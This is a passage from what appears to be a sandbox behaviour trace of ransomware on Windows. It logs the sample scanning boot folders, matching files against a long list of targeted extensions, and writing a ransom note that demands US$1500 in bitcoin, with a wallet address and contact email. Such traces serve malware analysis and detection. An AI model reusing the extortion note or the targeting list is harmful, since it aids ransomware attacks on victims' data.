hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0124.951] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65f9d8bc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x65f9d8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x65f9d8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="etfsboot.com", cAlternateFileName="")) returned 1 [0124.952] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0124.952] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="etfsboot.com") returned -1 [0124.952] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="etfsboot.com") returned 1 [0124.952] lstrcmpiA (lpString1="", lpString2="etfsboot.com") returned -1 [0124.952] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\*.*") returned="*.*" [0124.952] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\DVD\\PCAT\\" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\") returned="C:\\Windows\\Boot\\DVD\\PCAT\\" [0124.952] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\" | out: pszPath="C:\\Windows\\Boot\\DVD\\PCAT\\") returned="" [0124.952] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" [0124.952] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\how to decrypt files.txt")) returned 0xffffffff [0124.952] CreateFileA (lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\dvd\\pcat\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.952] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0124.952] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0124.952] CloseHandle (hObject=0xffffffff) returned 0 [0124.953] lstrcatA (in: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\", lpString2="etfsboot.com" | out: lpString1="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com") returned="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com" [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.ems") returned 0 [0124.953] lstrlenA (lpString="*.ems") returned 5 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.db") returned 0 [0124.953] lstrlenA (lpString="*.db") returned 4 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.dbf") returned 0 [0124.953] lstrlenA (lpString="*.dbf") returned 5 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.myox") returned 0 [0124.953] lstrlenA (lpString="*.myox") returned 6 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.myo") returned 0 [0124.953] lstrlenA (lpString="*.myo") returned 5 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qbw") returned 0 [0124.953] lstrlenA (lpString="*.qbw") returned 5 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qbb") returned 0 [0124.953] lstrlenA (lpString="*.qbb") returned 5 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qbm") returned 0 [0124.953] lstrlenA (lpString="*.qbm") returned 5 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qbo") returned 0 [0124.953] lstrlenA (lpString="*.qbo") returned 5 [0124.953] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qbx") returned 0 [0124.953] lstrlenA (lpString="*.qbx") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qba") returned 0 [0124.954] lstrlenA (lpString="*.qba") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qby") returned 0 [0124.954] lstrlenA (lpString="*.qby") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qbj") returned 0 [0124.954] lstrlenA (lpString="*.qbj") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.ofx") returned 0 [0124.954] lstrlenA (lpString="*.ofx") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.qif") returned 0 [0124.954] lstrlenA (lpString="*.qif") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mye") returned 0 [0124.954] lstrlenA (lpString="*.mye") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mbox") returned 0 [0124.954] lstrlenA (lpString="*.mbox") returned 6 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.eml") returned 0 [0124.954] lstrlenA (lpString="*.eml") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.pst") returned 0 [0124.954] lstrlenA (lpString="*.pst") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.ost") returned 0 [0124.954] lstrlenA (lpString="*.ost") returned 5 [0124.954] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.idx") returned 0 [0124.954] lstrlenA (lpString="*.idx") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.dbx") returned 0 [0124.955] lstrlenA (lpString="*.dbx") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.sql") returned 0 [0124.955] lstrlenA (lpString="*.sql") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mdb") returned 0 [0124.955] lstrlenA (lpString="*.mdb") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.fdb") returned 0 [0124.955] lstrlenA (lpString="*.fdb") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.wab") returned 0 [0124.955] lstrlenA (lpString="*.wab") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.dat") returned 0 [0124.955] lstrlenA (lpString="*.dat") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.txt") returned 0 [0124.955] lstrlenA (lpString="*.txt") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.jpeg") returned 0 [0124.955] lstrlenA (lpString="*.jpeg") returned 6 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.jpg") returned 0 [0124.955] lstrlenA (lpString="*.jpg") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.png") returned 0 [0124.955] lstrlenA (lpString="*.png") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.php") returned 0 [0124.955] lstrlenA (lpString="*.php") returned 5 [0124.955] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.cs") returned 0 [0124.955] lstrlenA (lpString="*.cs") returned 4 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.cpp") returned 0 [0124.956] lstrlenA (lpString="*.cpp") returned 5 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.rar") returned 0 [0124.956] lstrlenA (lpString="*.rar") returned 5 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.zip") returned 0 [0124.956] lstrlenA (lpString="*.zip") returned 5 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.html") returned 0 [0124.956] lstrlenA (lpString="*.html") returned 6 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.htm") returned 0 [0124.956] lstrlenA (lpString="*.htm") returned 5 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.xlsx") returned 0 [0124.956] lstrlenA (lpString="*.xlsx") returned 6 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.xls") returned 0 [0124.956] lstrlenA (lpString="*.xls") returned 5 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mp4") returned 0 [0124.956] lstrlenA (lpString="*.mp4") returned 5 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.ppt") returned 0 [0124.956] lstrlenA (lpString="*.ppt") returned 5 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.pptx") returned 0 [0124.956] lstrlenA (lpString="*.pptx") returned 6 [0124.956] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.doc") returned 0 [0124.957] lstrlenA (lpString="*.doc") returned 5 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.dot") returned 0 [0124.957] lstrlenA (lpString="*.dot") returned 5 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.docx") returned 0 [0124.957] lstrlenA (lpString="*.docx") returned 6 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.7z") returned 0 [0124.957] lstrlenA (lpString="*.7z") returned 4 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.tar") returned 0 [0124.957] lstrlenA (lpString="*.tar") returned 5 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.bz2") returned 0 [0124.957] lstrlenA (lpString="*.bz2") returned 5 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.gz") returned 0 [0124.957] lstrlenA (lpString="*.gz") returned 4 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mkv") returned 0 [0124.957] lstrlenA (lpString="*.mkv") returned 5 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.eml") returned 0 [0124.957] lstrlenA (lpString="*.eml") returned 5 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.msg") returned 0 [0124.957] lstrlenA (lpString="*.msg") returned 5 [0124.957] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.edb") returned 0 [0124.957] lstrlenA (lpString="*.edb") returned 5 [0124.958] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.accdb") returned 0 [0124.958] lstrlenA (lpString="*.accdb") returned 7 [0124.958] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.odb") returned 0 [0124.958] lstrlenA (lpString="*.odb") returned 5 [0124.958] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.java") returned 0 [0124.958] lstrlenA (lpString="*.java") returned 6 [0124.958] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.asm") returned 0 [0124.958] lstrlenA (lpString="*.asm") returned 5 [0124.959] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.pfx") returned 0 [0124.959] lstrlenA (lpString="*.pfx") returned 5 [0124.959] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.pem") returned 0 [0124.959] lstrlenA (lpString="*.pem") returned 5 [0124.959] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.p12") returned 0 [0124.959] lstrlenA (lpString="*.p12") returned 5 [0124.959] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.gpg") returned 0 [0124.959] lstrlenA (lpString="*.gpg") returned 5 [0124.959] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.vsd") returned 0 [0124.959] lstrlenA (lpString="*.vsd") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.odg") returned 0 [0124.960] lstrlenA (lpString="*.odg") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.raw") returned 0 [0124.960] lstrlenA (lpString="*.raw") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.nef") returned 0 [0124.960] lstrlenA (lpString="*.nef") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.svg") returned 0 [0124.960] lstrlenA (lpString="*.svg") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.psd") returned 0 [0124.960] lstrlenA (lpString="*.psd") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.vmx") returned 0 [0124.960] lstrlenA (lpString="*.vmx") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.vmdk") returned 0 [0124.960] lstrlenA (lpString="*.vmdk") returned 6 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.vdi") returned 0 [0124.960] lstrlenA (lpString="*.vdi") returned 5 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.lay6") returned 0 [0124.960] lstrlenA (lpString="*.lay6") returned 6 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mpeg") returned 0 [0124.960] lstrlenA (lpString="*.mpeg") returned 6 [0124.960] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.djvu") returned 0 [0124.960] lstrlenA (lpString="*.djvu") returned 6 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.tiff") returned 0 [0124.961] lstrlenA (lpString="*.tiff") returned 6 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.backup") returned 0 [0124.961] lstrlenA (lpString="*.backup") returned 8 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.pdf") returned 0 [0124.961] lstrlenA (lpString="*.pdf") returned 5 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.cert") returned 0 [0124.961] lstrlenA (lpString="*.cert") returned 6 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.docm") returned 0 [0124.961] lstrlenA (lpString="*.docm") returned 6 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.xlsm") returned 0 [0124.961] lstrlenA (lpString="*.xlsm") returned 6 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.dwg") returned 0 [0124.961] lstrlenA (lpString="*.dwg") returned 5 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.nd") returned 0 [0124.961] lstrlenA (lpString="*.nd") returned 4 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.tlg") returned 0 [0124.961] lstrlenA (lpString="*.tlg") returned 5 [0124.961] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.lgb") returned 0 [0124.961] lstrlenA (lpString="*.lgb") returned 5 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mov") returned 0 [0124.962] lstrlenA (lpString="*.mov") returned 5 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.xdw") returned 0 [0124.962] lstrlenA (lpString="*.xdw") returned 5 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.ods") returned 0 [0124.962] lstrlenA (lpString="*.ods") returned 5 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.wav") returned 0 [0124.962] lstrlenA (lpString="*.wav") returned 5 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.mp3") returned 0 [0124.962] lstrlenA (lpString="*.mp3") returned 5 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.aiff") returned 0 [0124.962] lstrlenA (lpString="*.aiff") returned 6 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.flac") returned 0 [0124.962] lstrlenA (lpString="*.flac") returned 6 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.m4a") returned 0 [0124.962] lstrlenA (lpString="*.m4a") returned 5 [0124.962] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com", pszSpec="*.csv") returned 0 [0124.962] lstrlenA (lpString="*.csv") returned 5 [0124.962] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65f9d8bc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x65f9d8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x65f9d8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="etfsboot.com", cAlternateFileName="")) returned 0 [0124.962] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.963] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="PCAT", cAlternateFileName="")) returned 0 [0124.963] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.963] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560044, dwReserved1=0x44, cFileName="EFI", cAlternateFileName="")) returned 1 [0124.963] lstrcmpA (lpString1=".", lpString2="EFI") returned -1 [0124.963] lstrcmpA (lpString1="..", lpString2="EFI") returned -1 [0124.963] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\*.*") returned="*.*" [0124.963] lstrcatA (in: lpString1="C:\\Windows\\Boot\\", lpString2="EFI" | out: lpString1="C:\\Windows\\Boot\\EFI") returned="C:\\Windows\\Boot\\EFI" [0124.963] lstrlenA (lpString="C:\\Windows\\Boot\\EFI") returned 19 [0124.963] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.966] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.966] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.966] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.966] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.966] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e12a8d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93e12a8d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93e12a8d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4380, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi", cAlternateFileName="")) returned 1 [0124.966] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0124.966] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi") returned 1 [0124.966] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi") returned 1 [0124.966] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi") returned -1 [0124.966] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0124.966] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\") returned="C:\\Windows\\Boot\\EFI\\" [0124.967] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\") returned="" [0124.967] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" [0124.967] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\how to decrypt files.txt")) returned 0xffffffff [0124.967] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.967] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, 